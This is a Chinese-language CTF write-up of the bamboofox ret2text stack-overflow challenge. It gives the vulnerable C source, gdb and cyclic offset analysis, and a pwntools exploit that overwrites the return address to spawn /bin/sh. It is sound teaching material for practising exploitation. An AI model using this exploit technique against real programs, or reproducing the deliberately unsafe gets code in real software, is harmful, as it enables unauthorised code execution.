本题为bamboofox-ret2text
题目路径:
/ctf-challenges/pwn/stackoverflow/ret2text/bamboofox-ret2text
一、原理
ret2text 即控制程序执行程序本身已有的的代码 (.text)。其实,这种攻击方法是一种笼统的描述。我们控制执行程序已有的代码的时候也可以控制程序执行好几段不相邻的程序已有的代码 (也就是 gadgets),这就是我们所要说的 ROP
首先看C代码
#include <stdio.h>
#include <stdlib.h>
#include <time.h>
void secure(void)
{
int secretcode, input;
srand(time(NULL));
secretcode = rand();
scanf("%d", &input);
if(input == secretcode)
system("/bin/sh");
}
int main(void)
{
setvbuf(stdout, 0LL, 2, 0LL);
setvbuf(stdin, 0LL, 1, 0LL);
char buf[100];
printf("There is something amazing here, do you know anything?\n");
gets(buf);
printf("Maybe I will tell you next time !");
return 0;
}
gcc编译:
gcc -fno-stack-protector -z noexecstack -no-pie -z norelro ret2text.c -o ret2text
sudo -s echo 0 > /proc/sys/kernel/randomize_va_space
二、程序分析
通过checksec检查一下这个程序
$ checksec ret2text
[*] '/home/hollk/ctf-challenges/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text'
Arch: i386-32-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x8048000)
32位程序,除了NX栈不可执行开启之外,其他的都是关闭状态。如果开启栈不可执行就无法在栈中进行跳转,那么就应该考虑调用程序本身的函数,或者运用ROP技术获取gadget
使用IDA静态编译查看程序,首先是main函数中使用gets方式进行数据接收,那么就不会限制输入长度,这里就是一个溢出位置
int __cdecl main(int argc, const char **argv, const char **envp)
{
int v4; // [sp+1Ch] [bp-64h]@1
setvbuf(stdout, 0, 2, 0);
setvbuf(_bss_start, 0, 1, 0);
puts("There is something amazing here, do you know anything?");
gets((char *)&v4);
printf("Maybe I will tell you next time !");
return 0;
}
变量v4作为gets的参数,v4参数距离栈顶指针esp+1Ch,距离栈底指针bp-64h,这就规定了程序可以承载字符串的数量
+-----------------+
| retaddr |
+-----------------+
| saved ebp |
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s终止位置,ebp-0x64-->+-----------------+
在main函数汇编代码中发现secure函数存在调用system("/bin/sh")的代码
.text:08048612 call _srand
.text:08048617 call _rand
.text:0804861C mov [ebp+secretcode], eax
.text:0804861F lea eax, [ebp+input]
.text:08048622 mov [esp+4], eax
.text:08048626 mov dword ptr [esp], offset unk_8048760
.text:0804862D call ___isoc99_scanf
.text:08048632 mov eax, [ebp+input]
.text:08048635 cmp eax, [ebp+secretcode]
.text:08048638 jnz short locret_8048646
.text:0804863A mov dword ptr [esp], offset command ; "/bin/sh"
.text:08048641 call _system
.text:08048646
溢出思路:由于gets函数不会对输入字符长度做限制,那么可以通过构件足够长的字符串填满栈空间,接下来由于canary没有开启,所以可以继续覆盖savedebp地址和ret返回地址。如果将调用"/bin/sh"的地址(0x0804863A)覆盖在ret返回的位置,那么在程序结束后就会获取系统shell
+-----------------+
| /bin/sh | 原ret返回位置
+-----------------+
| holk | 原saved ebp位置
ebp--->+-----------------+
| |
| |
| |
| |
| |
| |
s终止位置,ebp-0x64-->+-----------------+
三、溢出
接下来需要考虑的是可控内存的起始地址距离main函数的返回地址的距离,有两种方法可以查出:
方法一:
回到ida查看main函数的汇编代码
.text:080486A7 lea eax, [esp+1Ch]
.text:080486AB mov [esp], eax ; s
.text:080486AE call _gets
在main接收字符串是通过相对esp进行索引的,所以需要使用到gdb查看一下索引时的esp和ebp位置。所以在call处下断点(0x080486AE),程序停在call的初始位置,字符串刚刚进栈,此时寄存器中显示的就是字符串的esp和ebp
pwndbg> b *0x080486AE
Breakpoint 1 at 0x80486ae: file ret2text.c, line 24.
pwndbg> r
Starting program: /home/hollk/ctf-challenges/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text
There is something amazing here, do you know anything?
Breakpoint 1, 0x080486ae in main () at ret2text.c:24
24 gets(buf);
LEGEND: STACK | HEAP | CODE | DATA | RWX | RODATA
───────────────────────────────[ REGISTERS ]───────────────────────────────
EAX 0xffffd05c —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x26f34
EBX 0x0
ECX 0xf7fb5dc7 (_IO_2_1_stdout_+71) ◂— 0xfb68900a
EDX 0xf7fb6890 (_IO_stdfile_1_lock) ◂— 0x0
EDI 0x0
ESI 0xf7fb5000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x1d7d6c
EBP 0xffffd0c8 ◂— 0x0
ESP 0xffffd040 —▸ 0xffffd05c —▸ 0xf7ffd000 (_GLOBAL_OFFSET_TABLE_) ◂— 0x26f34
EIP 0x80486ae (main+102) —▸ 0xfffdade8 ◂— 0xfffdade8
此时esp位置为0xffffd040,ebp位置为0xffffd0c8,由于s相对于esp的索引为[esp+0x1c],所以0xffffd040 + 0x1c = 0xffffd05c,所以s的地址为0xffffd05c,那么s相对于ebp的偏移为0xffffd0c8 - 0xffffd05c = 0x6c。由于是32位程序,所以距离ret的地址还差4个字节(覆盖saved ebp),可以看上面的覆盖图。因此需要0x64+4个字节才能到达ret
方法二:
通过cyclic工具创建200个字符串
$ cyclic 200
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
复制字符串,通过gdb输入到程序当中
pwndbg> r
Starting program: /home/hollk/ctf-challenges/pwn/stackoverflow/ret2text/bamboofox-ret2text/ret2text
There is something amazing here, do you know anything?
aaaabaaacaaadaaaeaaafaaagaaahaaaiaaajaaakaaalaaamaaanaaaoaaapaaaqaaaraaasaaataaauaaavaaawaaaxaaayaaazaabbaabcaabdaabeaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab
由于输入字符串过长,导致程序中断
─────────────────────────────────[ STACK ]─────────────────────────────────
00:0000│ esp 0xffffd0d0 ◂— 'eaabfaabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
01:0004│ 0xffffd0d4 ◂— 'faabgaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
02:0008│ 0xffffd0d8 ◂— 'gaabhaabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
03:000c│ 0xffffd0dc ◂— 'haabiaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
04:0010│ 0xffffd0e0 ◂— 'iaabjaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
05:0014│ 0xffffd0e4 ◂— 'jaabkaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
06:0018│ 0xffffd0e8 ◂— 'kaablaabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
07:001c│ 0xffffd0ec ◂— 'laabmaabnaaboaabpaabqaabraabsaabtaabuaabvaabwaabxaabyaab'
───────────────────────────────[ BACKTRACE ]───────────────────────────────
► f 0 62616164
f 1 62616165
f 2 62616166
f 3 62616167
f 4 62616168
f 5 62616169
f 6 6261616a
f 7 6261616b
f 8 6261616c
f 9 6261616d
f 10 6261616e
───────────────────────────────────────────────────────────────────────────
Program received signal SIGSEGV (fault address 0x62616164)
gdb报错停止在0x62616164位置,可以用cyclic查看停止处字符串长度
$ cyclic -l 0x62616164
112
得到112,这个数字就是从输入内存可控起始地址到ret地址的字节数
四、EXP
通过偏移量和思路就可以写出exp:
from pwn import *
sh = process('./ret2text')
shell_add = 0x0804863A
payload = 'hollkdig'*14 + p32(shell_add) #112个字节填满栈空间至ret+shell_add
sh.sendline(payload)
sh.interactive()